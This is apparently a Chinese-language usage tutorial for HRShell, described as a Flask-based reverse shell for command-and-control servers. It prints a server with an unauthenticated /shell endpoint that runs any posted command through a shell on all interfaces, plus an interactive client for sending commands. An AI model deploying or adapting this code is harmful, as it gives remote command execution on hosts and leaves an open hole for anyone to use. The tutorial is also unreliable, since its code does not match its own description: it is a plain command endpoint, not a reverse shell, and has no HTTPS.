HRShell 项目使用教程

1. 项目的目录结构及介绍

HRShell 是一个基于 Flask 的 HTTPS/HTTP 反向 shell 项目，用于高级 C2 服务器。以下是项目的目录结构及其介绍：

HRShell/
├── client.py
├── server.py
├── config.py
├── requirements.txt
├── README.md
├── LICENSE
└── .gitignore

• client.py: 客户端文件，用于与服务器建立连接。
• server.py: 服务器文件，用于接收客户端连接并执行命令。
• config.py: 配置文件，包含服务器和客户端的配置选项。
• requirements.txt: 项目依赖文件，列出了运行项目所需的 Python 包。
• README.md: 项目说明文件，包含项目的基本信息和使用方法。
• LICENSE: 项目许可证文件，说明项目的授权和使用条款。
• .gitignore: Git 忽略文件，指定不需要版本控制的文件和目录。

2. 项目的启动文件介绍

服务器启动文件 (server.py)

server.py 是 HRShell 项目的服务器启动文件。它使用 Flask 框架来创建一个 Web 服务器，用于接收客户端的连接并执行命令。以下是 server.py 的基本结构：

from flask import Flask, request, jsonify
import subprocess

app = Flask(__name__)

@app.route('/shell', methods=['POST'])
def shell():
    command = request.json['command']
    result = subprocess.run(command, shell=True, capture_output=True)
    return jsonify({'output': result.stdout.decode()})

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

• Flask 是用于创建 Web 应用的框架。
• subprocess 模块用于执行系统命令。
• /shell 路由用于接收客户端发送的命令并返回执行结果。

客户端启动文件 (client.py)

client.py 是 HRShell 项目的客户端启动文件。它用于与服务器建立连接并发送命令。以下是 client.py 的基本结构：

import requests
import json

SERVER_URL = 'http://localhost:5000/shell'

def send_command(command):
    payload = {'command': command}
    response = requests.post(SERVER_URL, json=payload)
    return response.json()['output']

if __name__ == '__main__':
    while True:
        command = input("Enter command: ")
        output = send_command(command)
        print(output)

• requests 模块用于发送 HTTP 请求。
• send_command 函数用于向服务器发送命令并接收执行结果。

3. 项目的配置文件介绍

配置文件 (config.py)

config.py 是 HRShell 项目的配置文件，包含服务器和客户端的配置选项。以下是 config.py 的基本结构：

# Server configuration
SERVER_HOST = '0.0.0.0'
SERVER_PORT = 5000

# Client configuration
CLIENT_SERVER_URL = 'http://localhost:5000/shell'

• SERVER_HOST 和 SERVER_PORT 定义了服务器的监听地址和端口。
• CLIENT_SERVER_URL 定义了客户端连接的服务器 URL。

通过修改 config.py 文件中的配置选项，可以调整服务器和客户端的行为。

---

以上是 HRShell 项目的使用教程，涵盖了项目的目录结构、启动文件和配置文件的介绍。希望这些信息能帮助你更好地理解和使用 HRShell 项目。